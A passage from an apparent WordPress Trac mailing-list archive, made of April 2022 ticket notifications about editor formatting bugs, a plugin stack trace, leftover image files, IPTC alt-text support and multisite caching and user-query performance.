--------------------------+------------------------- Changes (by desrosj): * milestone: Awaiting Review => -- Ticket URL: <https://core.trac.wordpress.org/ticket/54774#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:03:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:03:29 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made In-Reply-To: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> References: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> Message-ID: <067.a3cf03b9f054b7f35fba1ab0fc6511e7@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+------------------------------ Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------------ Comment (by altfgcom): Hello, Thanks for the reply, but is it really the exact same issue? We've never seen the error message "The editor has encountered an unexpected error." We can continue editing our posts even when there are html markers in the title. They just disappear from view once the page is refreshed (and from the "live version" of the title itself [in "view post"] if we make changes to it). Anyhow, I see that you're a moderator/bug fixer(?), as you've closed the ticket I opened yesterday. So you're aware that this - variation of the 55371 issue? - is happening. That's why I'm not reopening the ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:07:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:07:18 -0000 Subject: [wp-trac] [WordPress Trac] #55533: e_error en la linea 363 In-Reply-To: <050.b246e37dc253b01982b16a4bf815b94c@wordpress.org> References: <050.b246e37dc253b01982b16a4bf815b94c@wordpress.org> Message-ID: <065.a8158c8f551890e8a0fd7a0f0cb7c39a@wordpress.org> #55533: e_error en la linea 363 --------------------------+---------------------- Reporter: pmxmdp | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Hi @pmxmdp, welcome to Trac! Sorry to hear that you're having problems with your website. Trac is for the development of WordPress Core, whereas this appears to be an issue with the Slider Revolution plugin. You can try disabling this plugin temporarily to see if this removes the error. If the error is gone, please [https://account.sliderrevolution.com/portal/?redirect_to=supportsystem open a ticket] with Slider Revolution to get some help with resolving this issue. If the error is not gone, please post on [https://wordpress.org/support/forum/how-to-and-troubleshooting/ the support forums] to get some help from the folks there. I'll close this ticket as it appears to be a plugin issue rather than an issue in WordPress Core. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55533#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:11:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:11:37 -0000 Subject: [wp-trac] [WordPress Trac] #42070: Remove networks_have_paths cache key In-Reply-To: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> References: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> Message-ID: <071.6d1b0caac42c1cab791b3fbcd4b7ac4e@wordpress.org> #42070: Remove networks_have_paths cache key --------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: multisite --------------------------------+--------------------------- Changes (by johnbillion): * keywords: has-patch => has-patch commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/42070#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:12:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:12:26 -0000 Subject: [wp-trac] [WordPress Trac] #55534: Remaining image files after deleting them Message-ID: <052.c282e537f7c480f0826c071cefe9d51f@wordpress.org> #55534: Remaining image files after deleting them --------------------------+----------------------------- Reporter: hoseinkh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: critical | Keywords: Focuses: performance | --------------------------+----------------------------- hi wordpress team! I had a very strange problem yesterday that I did not even think about ... As you know, after uploading images in WordPress, WordPress automatically creates several different sizes of it. For example, I uploaded over 200 product images to WooCommerce ... (on an unofficial site) After a long time, yesterday I decided to remove all products and their photos from within the WordPress media section And I did. **But after looking at the hosts and the uploads folder, I was surprised to see that all the images still remained in the upload folder.** In fact, in addition to the image uploaded in WordPress (WooCommerce products), there were 4 different sizes of each image in the upload folder. I was really surprised by this ... I tested this on several different websites and even my colleagues confirmed it. Please address this issue if possible. It is very, very important. thank you! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55534> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:12:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:12:59 -0000 Subject: [wp-trac] [WordPress Trac] #55462: Improve cache key generation in WP_Site_Query In-Reply-To: <056.788faa0f83ecc66621ed2f44c8bdd070@wordpress.org> References: <056.788faa0f83ecc66621ed2f44c8bdd070@wordpress.org> Message-ID: <071.947cd8c8fb5572d3c10efb83afbda88e@wordpress.org> #55462: Improve cache key generation in WP_Site_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: multisite, tests commit | performance -------------------------------------------------+------------------------- Changes (by johnbillion): * keywords: good-first-bug has-patch has-unit-tests => good-first-bug has- patch has-unit-tests commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/55462#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:17:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:17:36 -0000 Subject: [wp-trac] [WordPress Trac] #55534: Remaining image files after deleting them In-Reply-To: <052.c282e537f7c480f0826c071cefe9d51f@wordpress.org> References: <052.c282e537f7c480f0826c071cefe9d51f@wordpress.org> Message-ID: <067.25a4d08edb8629dbd35dc85de5ed3094@wordpress.org> #55534: Remaining image files after deleting them --------------------------+------------------------------ Reporter: hoseinkh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: critical | Resolution: Keywords: | Focuses: performance --------------------------+------------------------------ Comment (by mitogh): Hey @hoseinkh thanks for your bug report, would you mind adding a step to replicate your problem and providing with theme/plugins that are active when this problem is happening, that would be really useful to narrow down the problem you are facing, so we can find a solution for your problem. You can share most of these details by going into: - wp-admin/site-health.php?tab=debug Or `Tools > Site Health > Info` Thanks -- Ticket URL: <https://core.trac.wordpress.org/ticket/55534#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:22:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:22:17 -0000 Subject: [wp-trac] [WordPress Trac] #55533: e_error en la linea 363 In-Reply-To: <050.b246e37dc253b01982b16a4bf815b94c@wordpress.org> References: <050.b246e37dc253b01982b16a4bf815b94c@wordpress.org> Message-ID: <065.b85106c79def2c7581e8416cc283f6b1@wordpress.org> #55533: e_error en la linea 363 --------------------------+---------------------- Reporter: pmxmdp | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Description changed by sabernhardt: Old description: > Hola, me llego un email que menciona el siguiente error, quisiera saber > si alguno de ustedes sabe a que se puede deber. Los plugins, temas y > demas se encuentra actualizado al dia de hoy. Este error no me permite > que editemos los productos, solo la edicion rapida, por lo que productos > con variables no es posible modificar. Desde ya muchas gracias! > > Detalles del error > ================== > Se ha producido un error del tipo E_ERROR en la línea 363 del archivo > /home/c5000352/public_html/wp- > content/plugins/revslider/includes/functions.class.php. Mensaje de error: > Uncaught ValueError: strrpos(): Argument #3 ($offset) must be contained > in argument #1 ($haystack) in /home/c5000352/public_html/wp- > content/plugins/revslider/includes/functions.class.php:363 > Stack trace: > #0 /home/c5000352/public_html/wp- > content/plugins/revslider/includes/functions.class.php(363): strrpos('', > '.', -1) > #1 /home/c5000352/public_html/wp- > content/plugins/revslider/includes/slide.class.php(2264): > RevSliderFunctions->check_valid_image(false) > #2 /home/c5000352/public_html/wp- > content/plugins/revslider/includes/slider.class.php(2163): > RevSliderSlide->get_overview_image_attributes('gallery') > #3 /home/c5000352/public_html/wp-content/plugins/revslider/admin/includes > /functions-admin.class.php(175): RevSliderSlider->get_overview_data() > #4 /home/c5000352/public_html/wp-content/plugins/revslider/admin/includes > /functions-admin.class.php(116): > RevSliderFunctionsAdmin->get_slider_overview() > #5 /home/c5000352/public_html/wp- > content/plugins/revslider/admin/includes/shortcode_generator/shortcode_generator.class.php(170): > RevSliderFunctionsAdmin->get_short_library() > #6 /home/c5000352/public_html/wp- > content/plugins/revslider/admin/includes/shortcode_generator/shortcode_generator.class.php(23): > RevSliderShortcodeWizard::add_scripts() > #7 /home/c5000352/public_html/wp-includes/class-wp-hook.php(307): > RevSliderShortcodeWizard::enqueue_scripts('post.php') > #8 /home/c5000352/public_html/wp-includes/class-wp-hook.php(331): > WP_Hook->apply_filters(NULL, Array) > #9 /home/c5000352/public_html/wp-includes/plugin.php(474): > WP_Hook->do_action(Array) > #10 /home/c5000352/public_html/wp-admin/admin-header.php(118): > do_action('admin_enqueue_s...', 'post.php') > #11 /home/c5000352/public_html/wp-admin/edit-form-advanced.php(425): > require_once('/home/c5000352/...') > #12 /home/c5000352/public_html/wp-admin/post.php(206): > require('/home/c5000352/...') > #13 {main} New description: Hola, me llego un email que menciona el siguiente error, quisiera saber si alguno de ustedes sabe a que se puede deber. Los plugins, temas y demas se encuentra actualizado al dia de hoy. Este error no me permite que editemos los productos, solo la edicion rapida, por lo que productos con variables no es posible modificar. Desde ya muchas gracias! {{{ Detalles del error ================== Se ha producido un error del tipo E_ERROR en la línea 363 del archivo /.../wp-content/plugins/revslider/includes/functions.class.php. Mensaje de error: Uncaught ValueError: strrpos(): Argument #3 ($offset) must be contained in argument #1 ($haystack) in /.../wp- content/plugins/revslider/includes/functions.class.php:363 Stack trace: #0 /.../wp-content/plugins/revslider/includes/functions.class.php(363): strrpos('', '.', -1) #1 /.../wp-content/plugins/revslider/includes/slide.class.php(2264): RevSliderFunctions->check_valid_image(false) #2 /.../wp-content/plugins/revslider/includes/slider.class.php(2163): RevSliderSlide->get_overview_image_attributes('gallery') #3 /.../wp-content/plugins/revslider/admin/includes/functions- admin.class.php(175): RevSliderSlider->get_overview_data() #4 /.../wp-content/plugins/revslider/admin/includes/functions- admin.class.php(116): RevSliderFunctionsAdmin->get_slider_overview() #5 /.../wp- content/plugins/revslider/admin/includes/shortcode_generator/shortcode_generator.class.php(170): RevSliderFunctionsAdmin->get_short_library() #6 /.../wp- content/plugins/revslider/admin/includes/shortcode_generator/shortcode_generator.class.php(23): RevSliderShortcodeWizard::add_scripts() #7 /.../wp-includes/class-wp-hook.php(307): RevSliderShortcodeWizard::enqueue_scripts('post.php') #8 /.../wp-includes/class-wp-hook.php(331): WP_Hook->apply_filters(NULL, Array) #9 /.../wp-includes/plugin.php(474): WP_Hook->do_action(Array) #10 /.../wp-admin/admin-header.php(118): do_action('admin_enqueue_s...', 'post.php') #11 /.../wp-admin/edit-form-advanced.php(425): require_once('/...') #12 /.../wp-admin/post.php(206): require('/...') #13 {main} }}} -- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55533#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 21:18:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 21:18:48 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made In-Reply-To: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> References: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> Message-ID: <067.370015d2b39e567fdc764b2279418743@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+------------------------------ Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------------ Comment (by azouamauriac): Hello @altfgcom thanks for your comment, you're right, my comment previous wasn't very clear, In fact, here is the real duplicated ticket: #55125 , but the one I targeted as duplicated was the most recent. They both have the same cause, I worked on both that's why I just used #55371 instead #55125, in my mind they are same. As you can see [https://github.com/WordPress/gutenberg/pull/40019 this PR] aims to fix both together. If I missed something feel free to reopen the ticket. Thanks again. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 21:34:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 21:34:40 -0000 Subject: [wp-trac] [WordPress Trac] #55534: Remaining image files after deleting them In-Reply-To: <052.c282e537f7c480f0826c071cefe9d51f@wordpress.org> References: <052.c282e537f7c480f0826c071cefe9d51f@wordpress.org> Message-ID: <067.4b10583cb97e261354425046f81634bc@wordpress.org> #55534: Remaining image files after deleting them --------------------------+------------------------------ Reporter: hoseinkh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: critical | Resolution: Keywords: | Focuses: performance --------------------------+------------------------------ Comment (by hoseinkh): hi again @mitogh I re-examined this problem in more detail and everything is working fine. But maybe I know exactly why I experienced this bug. I will explain it in the following ... I had a store website with 100 products. With the duplicator plugin, I took the installation package and transferred it to the new host and domain. **Then on the new website, I removed the products that were on the previous website (I also removed all the product images from the WordPress media section)** When I deleted images from the previous website on the new website, the product image file remained in the uploads folder. I think the reason for this bug is that I uploaded the images to another domain, on the other hand I deleted those images to another domain. I hope this topic is effective in finding bug. thank you -- Ticket URL: <https://core.trac.wordpress.org/ticket/55534#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 21:34:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 21:34:47 -0000 Subject: [wp-trac] [WordPress Trac] #47782: REST API Media returning blank In-Reply-To: <049.c785ff8415c058f7ceff3befec50fa50@wordpress.org> References: <049.c785ff8415c058f7ceff3befec50fa50@wordpress.org> Message-ID: <064.69e8bce8ba70a0d2b8827a664d994a10@wordpress.org> #47782: REST API Media returning blank --------------------------+------------------------ Reporter: CHEWX | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Media | Version: 5.2.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: rest-api --------------------------+------------------------ Changes (by lukasbesch): * status: reopened => closed * resolution: => duplicate Comment: Duplicate of #41445. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47782#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 21:45:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 21:45:25 -0000 Subject: [wp-trac] [WordPress Trac] #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text Message-ID: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text ---------------------------+----------------------------- Reporter: eatingrules | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: minor | Keywords: needs-patch Focuses: accessibility | ---------------------------+----------------------------- The IPTC Photo Metadata Standard includes the ability to embed Alt Text with a photo. Seems like it would be helpful if WordPress would check for this data when an image is uploaded, and, if it exists, pre-populate the Alt Text field with it. I could see this being especially useful for site owners who purchase stock photography; if the alt text is embedded with those images, it would save the site owner time, and it would also help ensure that an Alt Text itself is added -- and is an accurate description of the image (assuming the photographer or stock photo site actually enters a good description!). http://www.iptc.org/std/photometadata/specification/IPTC-PhotoMetadata #alt-text-accessibility -- Ticket URL: <https://core.trac.wordpress.org/ticket/55535> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 21:57:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 21:57:24 -0000 Subject: [wp-trac] [WordPress Trac] #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text In-Reply-To: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> References: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> Message-ID: <070.efbdeff0b75748e099a9f41a197090f1@wordpress.org> #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text -------------------------+------------------------------ Reporter: eatingrules | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: accessibility -------------------------+------------------------------ Comment (by joyously): Do you mean like this? https://core.trac.wordpress.org/browser/tags/5.9/src/wp- admin/includes/image.php#L752 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55535#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 22:07:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 22:07:48 -0000 Subject: [wp-trac] [WordPress Trac] #55358: Passing int term term_exists parent param not respected In-Reply-To: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> References: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> Message-ID: <071.439a736fa74d394e37b0d24019286a5e@wordpress.org> #55358: Passing int term term_exists parent param not respected -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests good- | Focuses: first-bug | -------------------------------------------------+------------------------- Comment (by lopo): Looks more like a problem in the docs to me than an actual bug: if you give the ID as integer you don't need to restrict by parent; if you search by string, restricting by parent can definitely be helpful. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55358#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 22:30:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 22:30:13 -0000 Subject: [wp-trac] [WordPress Trac] #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text In-Reply-To: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> References: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> Message-ID: <070.86159e06af0fe910621f19050096e30b@wordpress.org> #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text -------------------------+------------------------------ Reporter: eatingrules | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: accessibility -------------------------+------------------------------ Comment (by joedolson): @joyously Yes, that's the same type of thing @eatingrules is referring to. But the alt attribute parameter in IPTC data is newly added to the specification, and is not currently handled by WordPress. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55535#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 22:31:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 22:31:35 -0000 Subject: [wp-trac] [WordPress Trac] #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text In-Reply-To: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> References: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> Message-ID: <070.a93c7c41c4bb117cfdd17c75f9cdbe2a@wordpress.org> #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text -------------------------+------------------------------ Reporter: eatingrules | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: accessibility -------------------------+------------------------------ Changes (by joedolson): * owner: (none) => joedolson * status: new => accepted -- Ticket URL: <https://core.trac.wordpress.org/ticket/55535#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 22:59:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 22:59:31 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.2a9faca83e904f6b6ad33cbbe3ab5193@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Changes (by jb510): * keywords: has-patch => needs-patch Comment: There are some plugin compatibility items to consider with this fix. The original aim of this ticket was to "Speed up the user screen" and queries of users on large sites. I'm only reading the patches (I don't have a trunk setup at the moment) but it seems like this would completely bypass wp_dropdown_users. This seems very problematic. It's not like people don't need to change the post author on large sites, it's just that it doing makes an expensive query and creates a _massive_ select element. We've mostly moved to a version of this: https://github.com/WebDevStudios /WDS-Dynamic-Dropdowns to move that to ajax on large sites which relies on wp_dropdown_users. Sorry if I'm off base here, will try to test patches when I can set up trunk again. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:101> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 23:03:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 23:03:20 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.3fe8a53bf3ba8885c0effce89c7fdb43@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------+----------------------------- Reporter: antonrinas | Owner: hellofromTonya Type: defect (bug) | Status: closed Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Comment (by peterwilsoncc): Replying to [comment:15 azouamauriac]: > I wonder to know if we can just put [https://prnt.sc/G4Vi8BZ6mbD- this] both "if" statement together... Any objection? The first if statement makes changes to the password variable that are used in the second statement. I considered asking for them to be combined but decided the code would be clearer keeping them separate. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 23:15:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 23:15:58 -0000 Subject: [wp-trac] [WordPress Trac] #55461: Improve cache key generation in WP_Network_Query In-Reply-To: <056.d13ed3c690dcbe4f318e2a175491c637@wordpress.org> References: <056.d13ed3c690dcbe4f318e2a175491c637@wordpress.org> Message-ID: <071.1abef3840982c9be79bb939473b442bc@wordpress.org> #55461: Improve cache key generation in WP_Network_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: multisite, tests commit | performance -------------------------------------------------+------------------------- Changes (by johnbillion): * keywords: good-first-bug has-patch has-unit-tests => good-first-bug has- patch has-unit-tests commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/55461#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 23:50:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 23:50:06 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.12f6b139a1fbf95d57df318481467b81@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Changes (by peterwilsoncc): * keywords: needs-patch => has-patch Comment: Replying to [comment:101 jb510]: > I'm only reading the patches (I don't have a trunk setup at the moment) but it seems like this would completely bypass wp_dropdown_users. This seems very problematic. > > It's not like people don't need to change the post author on large sites, it's just that it doing makes an expensive query and creates a _massive_ select element. At the moment, the authors are only removed from the quick edit page. The option to change them remains on both the block and classic editor screens. The block editor uses the REST API to populate the dropdown. To test, my plugin was `add_filter( 'wp_is_large_user_count', '__return_true' );` > Sorry if I'm off base here, will try to test patches when I can set up trunk again. Please don't apologize for asking questions or raising concerns. It prompted me to do additional manual testing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:102> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 00:05:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 00:05:36 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.381e31041cf9eefd9e7ae0080c882074@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by jb510): ty @peterwilsoncc - When I was involved with this ticket Gutenberg didn't exist, lol. It's always been primarily about the classic editor author meta box to me, or more generally anywhere that user query occurs. Anyway, thank you for addressing my questions. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:103> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 00:26:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 00:26:58 -0000 Subject: [wp-trac] [WordPress Trac] #18449: List Table Factory Needs to be Pluggable In-Reply-To: <055.76bb085c058347152dec82cf796fbed1@wordpress.org> References: <055.76bb085c058347152dec82cf796fbed1@wordpress.org> Message-ID: <070.908866db89355974253c50404ae6796a@wordpress.org> #18449: List Table Factory Needs to be Pluggable ----------------------------+----------------------------- Reporter: miqrogroove | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future Release Component: Administration | Version: 3.1 Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+----------------------------- Changes (by peterwilsoncc): * owner: wonderboymusic => (none) Comment: I can not foresee a contributor brave enough to change the API of `WP_List_Table`. Nor can I imagine the extraordinarily brave committer deciding that changing the API is a good opportunity to maintain their SVN skills. https://wpdirectory.net/search/01FZY3TDNVDGYZ0PX5131BF11H I'll spend a few days deciding if 6.0 is the future release in which this gets done. YOLO. -- Ticket URL: <https://core.trac.wordpress.org/ticket/18449#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 00:29:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 00:29:27 -0000 Subject: [wp-trac] [WordPress Trac] #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text In-Reply-To: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> References: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> Message-ID: <070.090d5188097db154ba7bb317fae09ab8@wordpress.org> #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text -------------------------+------------------------------ Reporter: eatingrules | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: accessibility -------------------------+------------------------------ Changes (by carolinescribely): * Attachment "Tired Spongebob Meme.jpg" added. Tired Spongebob Meme -- Ticket URL: <https://core.trac.wordpress.org/ticket/55535> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 00:30:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 00:30:55 -0000 Subject: [wp-trac] [WordPress Trac] #55535: Pre-populate Image Alt Text 